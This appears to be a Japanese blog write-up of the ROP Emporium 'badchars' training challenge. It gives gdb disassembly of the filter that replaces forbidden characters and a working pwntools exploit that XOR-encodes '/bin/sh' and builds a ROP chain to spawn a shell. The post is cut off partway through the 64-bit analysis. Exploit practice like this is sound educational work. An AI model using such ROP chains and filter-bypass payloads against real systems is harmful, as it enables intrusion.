1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

ROP Emporium badchars writeup

Last updated at Posted at 2020-02-10

ROP Emporium

ROPの練習問題集

ROP Emporium

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

writeup link

badchars32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

# file ./badchars32
./badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped
# 
#
#
# ./badchars32 
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> test

Exiting
# 

badchars are: b i c / <space> f n sのメッセージが出力される。
試しに、badcharsとして挙げられた文字を入力してみる。
特に出力に変化はない。

# ./badchars32 
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> bic/

Exiting
# 

nmコマンドで実行ファイルのシンボル情報を確認する。
nm

# nm badchars32
0804a040 B __bss_start
08048801 t checkBadchars
0804a068 b completed.7200
0804a038 D __data_start
0804a038 W data_start
08048580 t deregister_tm_clones
080485f0 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a03c D __dso_handle
08049f14 d _DYNAMIC
0804a040 D _edata
0804a06c B _end
         U exit@@GLIBC_2.0
         U fgets@@GLIBC_2.0
08048904 T _fini
08048918 R _fp_hw
08048610 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048b10 r __FRAME_END__
         U free@@GLIBC_2.0
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
0804897c r __GNU_EH_FRAME_HDR
08048440 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804891c R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
08048900 T __libc_csu_fini
080488a0 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804863b T main
         U malloc@@GLIBC_2.0
         U memcpy@@GLIBC_2.0
         U memset@@GLIBC_2.0
080487c2 t nstrlen
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080486b6 t pwnme
080485b0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048540 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a040 D __TMC_END__
080487a9 t usefulFunction
08048890 T usefulGadgets
08048570 T __x86.get_pc_thunk.bx
# 

usefulFunction / usefulGadgetsというシンボルがある。
また、今までとは違いcheckBadcharsというシンボルがある。

gdbでbadchars32を解析していく。
canaryは今回も無効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。

usefulFunctionは/bin/lsを実行する関数。

gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x080487a9 <+0>: push   ebp
   0x080487aa <+1>: mov    ebp,esp
   0x080487ac <+3>: sub    esp,0x8
   0x080487af <+6>: sub    esp,0xc
   0x080487b2 <+9>: push   0x8048973
   0x080487b7 <+14>:  call   0x80484e0 <system@plt>
   0x080487bc <+19>:  add    esp,0x10
   0x080487bf <+22>:  nop
   0x080487c0 <+23>:  leave  
   0x080487c1 <+24>:  ret    
End of assembler dump.
gdb-peda$ 
gdb-peda$ x/s 0x8048973
0x8048973:  "/bin/ls"
gdb-peda$ 

usefulGadgetsの内容を確認する。

ROP Gadgetで使えそうなのは下記の4つ。
xor BYTE PTR [ebx],cl
mov DWORD PTR [edi],esi
pop ebx ; pop ecx
pop esi ; pop edi

gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x08048890 <+0>: xor    BYTE PTR [ebx],cl
   0x08048892 <+2>: ret    
   0x08048893 <+3>: mov    DWORD PTR [edi],esi
   0x08048895 <+5>: ret    
   0x08048896 <+6>: pop    ebx
   0x08048897 <+7>: pop    ecx
   0x08048898 <+8>: ret    
   0x08048899 <+9>: pop    esi
   0x0804889a <+10>:  pop    edi
   0x0804889b <+11>:  ret    
   0x0804889c <+12>:  xchg   ax,ax
   0x0804889e <+14>:  xchg   ax,ax
End of assembler dump.
gdb-peda$ 

pwnme関数の中でいままでの問題ではなかったcheckBadchars関数<pwnme +191>
が呼び出されている。

gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x080486b6 <+0>:	push   ebp
   0x080486b7 <+1>:	mov    ebp,esp
   0x080486b9 <+3>:	sub    esp,0x38
   0x080486bc <+6>:	mov    DWORD PTR [ebp-0x30],0x0
   0x080486c3 <+13>:	sub    esp,0xc
   0x080486c6 <+16>:	push   0x200
   0x080486cb <+21>:	call   0x80484c0 <malloc@plt>
   0x080486d0 <+26>:	add    esp,0x10
   0x080486d3 <+29>:	mov    DWORD PTR [ebp-0x2c],eax
   0x080486d6 <+32>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x080486d9 <+35>:	test   eax,eax
   0x080486db <+37>:	je     0x80486f5 <pwnme+63>
   0x080486dd <+39>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x080486e0 <+42>:	sub    esp,0x4
   0x080486e3 <+45>:	push   0x200
   0x080486e8 <+50>:	push   0x0
   0x080486ea <+52>:	push   eax
   0x080486eb <+53>:	call   0x8048520 <memset@plt>
   0x080486f0 <+58>:	add    esp,0x10
   0x080486f3 <+61>:	jmp    0x80486ff <pwnme+73>
   0x080486f5 <+63>:	sub    esp,0xc
   0x080486f8 <+66>:	push   0x1
   0x080486fa <+68>:	call   0x80484f0 <exit@plt>
   0x080486ff <+73>:	sub    esp,0x4
   0x08048702 <+76>:	push   0x20
   0x08048704 <+78>:	push   0x0
   0x08048706 <+80>:	lea    eax,[ebp-0x30]
   0x08048709 <+83>:	add    eax,0x8
   0x0804870c <+86>:	push   eax
   0x0804870d <+87>:	call   0x8048520 <memset@plt>
   0x08048712 <+92>:	add    esp,0x10
   0x08048715 <+95>:	sub    esp,0xc
   0x08048718 <+98>:	push   0x804894c
   0x0804871d <+103>:	call   0x80484d0 <puts@plt>
   0x08048722 <+108>:	add    esp,0x10
   0x08048725 <+111>:	sub    esp,0xc
   0x08048728 <+114>:	push   0x8048970
   0x0804872d <+119>:	call   0x8048480 <printf@plt>
   0x08048732 <+124>:	add    esp,0x10
   0x08048735 <+127>:	mov    edx,DWORD PTR ds:0x804a060
   0x0804873b <+133>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x0804873e <+136>:	sub    esp,0x4
   0x08048741 <+139>:	push   edx
   0x08048742 <+140>:	push   0x200
   0x08048747 <+145>:	push   eax
   0x08048748 <+146>:	call   0x80484b0 <fgets@plt>
   0x0804874d <+151>:	add    esp,0x10
   0x08048750 <+154>:	mov    DWORD PTR [ebp-0x2c],eax
   0x08048753 <+157>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048756 <+160>:	sub    esp,0x8
   0x08048759 <+163>:	push   0x200
   0x0804875e <+168>:	push   eax
   0x0804875f <+169>:	call   0x80487c2 <nstrlen>
   0x08048764 <+174>:	add    esp,0x10
   0x08048767 <+177>:	mov    DWORD PTR [ebp-0x30],eax
   0x0804876a <+180>:	mov    edx,DWORD PTR [ebp-0x30]
   0x0804876d <+183>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048770 <+186>:	sub    esp,0x8
   0x08048773 <+189>:	push   edx
   0x08048774 <+190>:	push   eax
   0x08048775 <+191>:	call   0x8048801 <checkBadchars>
   0x0804877a <+196>:	add    esp,0x10
   0x0804877d <+199>:	mov    edx,DWORD PTR [ebp-0x30]
   0x08048780 <+202>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048783 <+205>:	sub    esp,0x4
   0x08048786 <+208>:	push   edx
   0x08048787 <+209>:	push   eax
   0x08048788 <+210>:	lea    eax,[ebp-0x30]
   0x0804878b <+213>:	add    eax,0x8
   0x0804878e <+216>:	push   eax
   0x0804878f <+217>:	call   0x80484a0 <memcpy@plt>
   0x08048794 <+222>:	add    esp,0x10
   0x08048797 <+225>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x0804879a <+228>:	sub    esp,0xc
   0x0804879d <+231>:	push   eax
   0x0804879e <+232>:	call   0x8048490 <free@plt>
   0x080487a3 <+237>:	add    esp,0x10
   0x080487a6 <+240>:	nop
   0x080487a7 <+241>:	leave  
   0x080487a8 <+242>:	ret    
End of assembler dump.
gdb-peda$ 

checkBadchars関数の内容を確認してみる。

gdb-peda$ pdis checkBadchars
Dump of assembler code for function checkBadchars:
   0x08048801 <+0>:	push   ebp
   0x08048802 <+1>:	mov    ebp,esp
   0x08048804 <+3>:	sub    esp,0x10
   0x08048807 <+6>:	mov    BYTE PTR [ebp-0x10],0x62
   0x0804880b <+10>:	mov    BYTE PTR [ebp-0xf],0x69
   0x0804880f <+14>:	mov    BYTE PTR [ebp-0xe],0x63
   0x08048813 <+18>:	mov    BYTE PTR [ebp-0xd],0x2f
   0x08048817 <+22>:	mov    BYTE PTR [ebp-0xc],0x20
   0x0804881b <+26>:	mov    BYTE PTR [ebp-0xb],0x66
   0x0804881f <+30>:	mov    BYTE PTR [ebp-0xa],0x6e
   0x08048823 <+34>:	mov    BYTE PTR [ebp-0x9],0x73
   0x08048827 <+38>:	mov    DWORD PTR [ebp-0x4],0x0
   0x0804882e <+45>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048835 <+52>:	mov    DWORD PTR [ebp-0x4],0x0
   0x0804883c <+59>:	jmp    0x804887c <checkBadchars+123>
   0x0804883e <+61>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048845 <+68>:	jmp    0x8048872 <checkBadchars+113>
   0x08048847 <+70>:	mov    edx,DWORD PTR [ebp+0x8]
   0x0804884a <+73>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804884d <+76>:	add    eax,edx
   0x0804884f <+78>:	movzx  edx,BYTE PTR [eax]
   0x08048852 <+81>:	lea    ecx,[ebp-0x10]
   0x08048855 <+84>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048858 <+87>:	add    eax,ecx
   0x0804885a <+89>:	movzx  eax,BYTE PTR [eax]
   0x0804885d <+92>:	cmp    dl,al
   0x0804885f <+94>:	jne    0x804886e <checkBadchars+109>
   0x08048861 <+96>:	mov    edx,DWORD PTR [ebp+0x8]
   0x08048864 <+99>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048867 <+102>:	add    eax,edx
   0x08048869 <+104>:	mov    BYTE PTR [eax],0xeb
   0x0804886c <+107>:	jmp    0x8048878 <checkBadchars+119>
   0x0804886e <+109>:	add    DWORD PTR [ebp-0x8],0x1
   0x08048872 <+113>:	cmp    DWORD PTR [ebp-0x8],0x7
   0x08048876 <+117>:	jbe    0x8048847 <checkBadchars+70>
   0x08048878 <+119>:	add    DWORD PTR [ebp-0x4],0x1
   0x0804887c <+123>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804887f <+126>:	cmp    eax,DWORD PTR [ebp+0xc]
   0x08048882 <+129>:	jb     0x804883e <checkBadchars+61>
   0x08048884 <+131>:	nop
   0x08048885 <+132>:	leave  
   0x08048886 <+133>:	ret    
End of assembler dump.
gdb-peda$ 

<checkBadchars +6>から<checkBadchars +34>にかけてBadcharsとして挙げられた文字をstackに積んでいる。
<checkBadchars +92>でstackに積んだBadcharsと入力文字を比較している。

gdbでstep実行して動作を確認してくと、badcharに当たる文字を0xebに置き換えていることがわかる。
下の出力ではbintestを入力値としたが、badcharが0xebになっている。

badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> bintest
[-------------------------------------code-------------------------------------]
   0x8048788 <pwnme+210>:	lea    eax,[ebp-0x30]
   0x804878b <pwnme+213>:	add    eax,0x8
   0x804878e <pwnme+216>:	push   eax
=> 0x804878f <pwnme+217>:	call   0x80484a0 <memcpy@plt>
   0x8048794 <pwnme+222>:	add    esp,0x10
   0x8048797 <pwnme+225>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x804879a <pwnme+228>:	sub    esp,0xc
   0x804879d <pwnme+231>:	push   eax
Guessed arguments:
arg[0]: 0xffffd290 --> 0x0 
arg[1]: 0x804b160 --> 0x74ebebeb 
arg[2]: 0x8 
gdb-peda$ x/12 0x804b160
0x804b160:	0x74ebebeb	0x0a74eb65	0x00000000	0x00000000
0x804b170:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b180:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ 

write4の問題ではsystem(/bin/sh)を呼び出すためにpayloadに/bin/shの文字を含んでいたが、今回はその文字が0xebに置き換えられてしまう。
問題文にもあるようにXORを使って、checkBadchars関数をすり抜けるようにROPをつくる必要がある。

Moar XOR

作成したROPは以下の通り処理を行う。

  1. メモリ上に'/bin/sh' ^ 0xffの値を格納する。
  2. pop ecxでclに0xffを格納する。
  3. ('/bin/sh' ^ 0xff) ^ 0xffを1文字ずつ計算し、メモリ上に/bin/shの文字を作成する。
    XORでは第一引数に処理結果が格納される。
  4. 作成した/bin/shを引数としてsystemを実行する。
+--------------------+
|       dummy        |
+--------------------+
| pop esi ; pop edi  |
+--------------------+
|    /bin ^ f0xff    |
+--------------------+
|    write address   |
+--------------------+
|    mov [edi],esi   |
+--------------------+
| pop esi ; pop edi  |
+--------------------+
|     /sh ^ f0xff    |
+--------------------+
|   write address +4 |
+--------------------+

+--------------------+
|       pop ecx      |
+--------------------+
|    0xff ff ff ff   |
+--------------------+

+--------------------+
|       pop ebx      |
+--------------------+
|    write address   |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +1 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +2 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +3 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +4 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +5 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+

+--------------------+
|      system@plt    |
+--------------------+
|        dummy       |
+--------------------+
|    write address   |
+--------------------+

/bin/shを書き込むメモリのアドレスをどこにするかはwrite4を参考にして決定。

gdb-peda$ readelf
.interp = 0x8048154
.note.ABI-tag = 0x8048168
.note.gnu.build-id = 0x8048188
.gnu.hash = 0x80481ac
.dynsym = 0x80481dc
.dynstr = 0x80482ac
.gnu.version = 0x804832e
.gnu.version_r = 0x8048348
.rel.dyn = 0x8048368
.rel.plt = 0x8048388
.init = 0x80483c0
.plt = 0x80483f0
.plt.got = 0x8048470
.text = 0x8048480
.fini = 0x80486e4
.rodata = 0x80486f8
.eh_frame_hdr = 0x804875c
.eh_frame = 0x8048798
.init_array = 0x8049f08
.fini_array = 0x8049f0c
.jcr = 0x8049f10
.dynamic = 0x8049f14
.got = 0x8049ffc
.got.plt = 0x804a000
.data = 0x804a028
.bss = 0x804a040
gdb-peda$ 
gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/root/ROP_Emporium/write432/write432
0x08049000 0x0804a000 r--p	/root/ROP_Emporium/write432/write432
0x0804a000 0x0804b000 rw-p	/root/ROP_Emporium/write432/write432
0xf7dda000 0xf7df7000 r--p	/usr/lib32/libc-2.29.so
0xf7df7000 0xf7f42000 r-xp	/usr/lib32/libc-2.29.so
0xf7f42000 0xf7faf000 r--p	/usr/lib32/libc-2.29.so
0xf7faf000 0xf7fb1000 r--p	/usr/lib32/libc-2.29.so
0xf7fb1000 0xf7fb3000 rw-p	/usr/lib32/libc-2.29.so
0xf7fb3000 0xf7fb5000 rw-p	mapped
0xf7fce000 0xf7fd0000 rw-p	mapped
0xf7fd0000 0xf7fd3000 r--p	[vvar]
0xf7fd3000 0xf7fd4000 r-xp	[vdso]
0xf7fd4000 0xf7fd5000 r--p	/usr/lib32/ld-2.29.so
0xf7fd5000 0xf7ff1000 r-xp	/usr/lib32/ld-2.29.so
0xf7ff1000 0xf7ffb000 r--p	/usr/lib32/ld-2.29.so
0xf7ffc000 0xf7ffd000 r--p	/usr/lib32/ld-2.29.so
0xf7ffd000 0xf7ffe000 rw-p	/usr/lib32/ld-2.29.so
0xfffdd000 0xffffe000 rw-p	[stack]
gdb-peda$ 

書き込み権限があるbss領域をwrite addressとして使用する。

from pwn import *

conn = process('./badchars32')

system_addr=0x80484e0 # system@plt
xor_addr=0x08048890 # xor    BYTE PTR [ebx],cl ; ret
mov_edi_esi_addr=0x08048893 # mov    DWORD PTR [edi],esi ; ret
pop_esi_edi_addr=0x08048899 # pop esi ; pop edi ; ret 
pop_ecx_addr=0x08048897 # pop ecx ; ret
pop_ebx_addr=0x08048461 # pop ebx ; ret
write_mem_addr=0x804a038



payload = 'A'*44

payload += p32(pop_esi_edi_addr)
payload += '\xd0\x9d\x96\x91'
payload += p32(write_mem_addr)
payload += p32(mov_edi_esi_addr)

payload += p32(pop_esi_edi_addr)
payload += '\xd0\x8ch\x00'
payload += p32(write_mem_addr+4)
payload += p32(mov_edi_esi_addr)

payload += p32(pop_ecx_addr)
payload += '\xff\xff\xff\xff'

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+1)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+2)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+3)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+4)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+5)
payload += p32(xor_addr)

payload += p32(system_addr)
payload += 'A'*4
payload += p32(write_mem_addr)

conn.sendline(payload)
conn.interactive()
# python badchars32.py
[+] Starting local process './badchars32': pid 5681
[*] Paused (press any to continue)
[*] Switching to interactive mode
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
>$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 

badchars writeup

badcharsの64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

# file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=adf195423b8ae2d246a212e0054f33e631ae0cd2, not stripped
# 
# 
# ./badchars 
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> test

Exiting
# 

badchars are: b i c / <space> f n sのメッセージが出力される。
試しに、badcharsとして挙げられた文字を入力してみる。
特に出力に変化はない。

# ./badchars 
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> bic/

Exiting
# 

nmコマンドで実行ファイルのシンボル情報を確認する。
nm

# nm ./badchars
0000000000601080 B __bss_start
0000000000400a40 t checkBadchars
00000000006010a8 b completed.7585
0000000000601070 D __data_start
0000000000601070 W data_start
00000000004007c0 t deregister_tm_clones
0000000000400840 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601078 D __dso_handle
0000000000600e28 d _DYNAMIC
0000000000601080 D _edata
00000000006010b0 B _end
                 U exit@@GLIBC_2.2.5
                 U fgets@@GLIBC_2.2.5
0000000000400bc4 T _fini
0000000000400860 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400e00 r __FRAME_END__
                 U free@@GLIBC_2.2.5
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400c38 r __GNU_EH_FRAME_HDR
0000000000400698 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
0000000000400bd0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000400bc0 T __libc_csu_fini
0000000000400b50 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400886 T main
                 U malloc@@GLIBC_2.2.5
                 U memcpy@@GLIBC_2.14
                 U memset@@GLIBC_2.2.5
00000000004009f0 t nstrlen
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004008f5 t pwnme
0000000000400800 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400790 T _start
00000000006010a0 B stderr@@GLIBC_2.2.5
0000000000601090 B stdin@@GLIBC_2.2.5
0000000000601080 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601080 D __TMC_END__
00000000004009df t usefulFunction
0000000000400b30 T usefulGadgets
# 

usefulFunction / usefulGadgetsというシンボルがある。
また、今までとは違いcheckBadcharsというシンボルがある。

gdbでbadcharsを解析していく。
canaryは今回も無効。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。

usefulFunctionは/bin/lsを実行する関数。

Dump of assembler code for function usefulFunction:
   0x00000000004009df <+0>:	push   rbp
   0x00000000004009e0 <+1>:	mov    rbp,rsp
   0x00000000004009e3 <+4>:	mov    edi,0x400c2f
   0x00000000004009e8 <+9>:	call   0x4006f0 <system@plt>
   0x00000000004009ed <+14>:	nop
   0x00000000004009ee <+15>:	pop    rbp
   0x00000000004009ef <+16>:	ret    
End of assembler dump.
gdb-peda$ 
gdb-peda$ x/s 0x400c2f
0x400c2f:	"/bin/ls"
gdb-peda$ 

usefulGadgetsの内容を確認する。

ROP Gadgetで使えそうなのは下記の5つ。
xor BYTE PTR [r15],r14b
mov QWORD PTR [r13+0x0],r12
pop rdi
pop r12; pop r13
pop r14; pop r15

gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400b30 <+0>:	xor    BYTE PTR [r15],r14b
   0x0000000000400b33 <+3>:	ret    
   0x0000000000400b34 <+4>:	mov    QWORD PTR [r13+0x0],r12
   0x0000000000400b38 <+8>:	ret    
   0x0000000000400b39 <+9>:	pop    rdi
   0x0000000000400b3a <+10>:	ret    
   0x0000000000400b3b <+11>:	pop    r12
   0x0000000000400b3d <+13>:	pop    r13
   0x0000000000400b3f <+15>:	ret    
   0x0000000000400b40 <+16>:	pop    r14
   0x0000000000400b42 <+18>:	pop    r15
   0x0000000000400b44 <+20>:	ret    
   0x0000000000400b45 <+21>:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x0000000000400b4f <+31>:	nop
End of assembler dump.
gdb-peda$ 

pwnme関数の中でいままでの問題ではなかったcheckBadchars関数<pwnme +187>
が呼び出されている。

gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x00000000004008f5 <+0>:	push   rbp
   0x00000000004008f6 <+1>:	mov    rbp,rsp
   0x00000000004008f9 <+4>:	sub    rsp,0x30
   0x00000000004008fd <+8>:	mov    QWORD PTR [rbp-0x30],0x0
   0x0000000000400905 <+16>:	mov    edi,0x200
   0x000000000040090a <+21>:	call   0x400750 <malloc@plt>
   0x000000000040090f <+26>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400913 <+30>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400917 <+34>:	test   rax,rax
   0x000000000040091a <+37>:	je     0x400934 <pwnme+63>
   0x000000000040091c <+39>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400920 <+43>:	mov    edx,0x200
   0x0000000000400925 <+48>:	mov    esi,0x0
   0x000000000040092a <+53>:	mov    rdi,rax
   0x000000000040092d <+56>:	call   0x400710 <memset@plt>
   0x0000000000400932 <+61>:	jmp    0x40093e <pwnme+73>
   0x0000000000400934 <+63>:	mov    edi,0x1
   0x0000000000400939 <+68>:	call   0x400770 <exit@plt>
   0x000000000040093e <+73>:	lea    rax,[rbp-0x30]
   0x0000000000400942 <+77>:	add    rax,0x10
   0x0000000000400946 <+81>:	mov    edx,0x20
   0x000000000040094b <+86>:	mov    esi,0x0
   0x0000000000400950 <+91>:	mov    rdi,rax
   0x0000000000400953 <+94>:	call   0x400710 <memset@plt>
   0x0000000000400958 <+99>:	mov    edi,0x400c08
   0x000000000040095d <+104>:	call   0x4006e0 <puts@plt>
   0x0000000000400962 <+109>:	mov    edi,0x400c2c
   0x0000000000400967 <+114>:	mov    eax,0x0
   0x000000000040096c <+119>:	call   0x400700 <printf@plt>
   0x0000000000400971 <+124>:	mov    rdx,QWORD PTR [rip+0x200718]        # 0x601090 <stdin@@GLIBC_2.2.5>
   0x0000000000400978 <+131>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040097c <+135>:	mov    esi,0x200
   0x0000000000400981 <+140>:	mov    rdi,rax
   0x0000000000400984 <+143>:	call   0x400730 <fgets@plt>
   0x0000000000400989 <+148>:	mov    QWORD PTR [rbp-0x28],rax
   0x000000000040098d <+152>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400991 <+156>:	mov    esi,0x200
   0x0000000000400996 <+161>:	mov    rdi,rax
   0x0000000000400999 <+164>:	call   0x4009f0 <nstrlen>
   0x000000000040099e <+169>:	mov    QWORD PTR [rbp-0x30],rax
   0x00000000004009a2 <+173>:	mov    rdx,QWORD PTR [rbp-0x30]
   0x00000000004009a6 <+177>:	mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004009aa <+181>:	mov    rsi,rdx
   0x00000000004009ad <+184>:	mov    rdi,rax
   0x00000000004009b0 <+187>:	call   0x400a40 <checkBadchars>
   0x00000000004009b5 <+192>:	mov    rdx,QWORD PTR [rbp-0x30]
   0x00000000004009b9 <+196>:	mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004009bd <+200>:	lea    rcx,[rbp-0x30]
   0x00000000004009c1 <+204>:	add    rcx,0x10
   0x00000000004009c5 <+208>:	mov    rsi,rax
   0x00000000004009c8 <+211>:	mov    rdi,rcx
   0x00000000004009cb <+214>:	call   0x400740 <memcpy@plt>
   0x00000000004009d0 <+219>:	mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004009d4 <+223>:	mov    rdi,rax
   0x00000000004009d7 <+226>:	call   0x4006d0 <free@plt>
   0x00000000004009dc <+231>:	nop
   0x00000000004009dd <+232>:	leave  
   0x00000000004009de <+233>:	ret    
End of assembler dump.
gdb-peda$ 

checkBadchars関数の内容を確認してみる。

gdb-peda$ pdis checkBadchars
Dump of assembler code for function checkBadchars:
   0x0000000000400a40 <+0>:	push   rbp
   0x0000000000400a41 <+1>:	mov    rbp,rsp
   0x0000000000400a44 <+4>:	mov    QWORD PTR [rbp-0x28],rdi
   0x0000000000400a48 <+8>:	mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000400a4c <+12>:	mov    BYTE PTR [rbp-0x20],0x62
   0x0000000000400a50 <+16>:	mov    BYTE PTR [rbp-0x1f],0x69
   0x0000000000400a54 <+20>:	mov    BYTE PTR [rbp-0x1e],0x63
   0x0000000000400a58 <+24>:	mov    BYTE PTR [rbp-0x1d],0x2f
   0x0000000000400a5c <+28>:	mov    BYTE PTR [rbp-0x1c],0x20
   0x0000000000400a60 <+32>:	mov    BYTE PTR [rbp-0x1b],0x66
   0x0000000000400a64 <+36>:	mov    BYTE PTR [rbp-0x1a],0x6e
   0x0000000000400a68 <+40>:	mov    BYTE PTR [rbp-0x19],0x73
   0x0000000000400a6c <+44>:	mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000400a74 <+52>:	mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400a7c <+60>:	mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000400a84 <+68>:	jmp    0x400ad1 <checkBadchars+145>
   0x0000000000400a86 <+70>:	mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400a8e <+78>:	jmp    0x400ac5 <checkBadchars+133>
   0x0000000000400a90 <+80>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x0000000000400a94 <+84>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400a98 <+88>:	add    rax,rdx
   0x0000000000400a9b <+91>:	movzx  edx,BYTE PTR [rax]
   0x0000000000400a9e <+94>:	lea    rcx,[rbp-0x20]
   0x0000000000400aa2 <+98>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400aa6 <+102>:	add    rax,rcx
   0x0000000000400aa9 <+105>:	movzx  eax,BYTE PTR [rax]
   0x0000000000400aac <+108>:	cmp    dl,al
   0x0000000000400aae <+110>:	jne    0x400ac0 <checkBadchars+128>
   0x0000000000400ab0 <+112>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x0000000000400ab4 <+116>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400ab8 <+120>:	add    rax,rdx
   0x0000000000400abb <+123>:	mov    BYTE PTR [rax],0xeb
   0x0000000000400abe <+126>:	jmp    0x400acc <checkBadchars+140>
   0x0000000000400ac0 <+128>:	add    QWORD PTR [rbp-0x10],0x1
   0x0000000000400ac5 <+133>:	cmp    QWORD PTR [rbp-0x10],0x7
   0x0000000000400aca <+138>:	jbe    0x400a90 <checkBadchars+80>
   0x0000000000400acc <+140>:	add    QWORD PTR [rbp-0x8],0x1
   0x0000000000400ad1 <+145>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400ad5 <+149>:	cmp    rax,QWORD PTR [rbp-0x30]
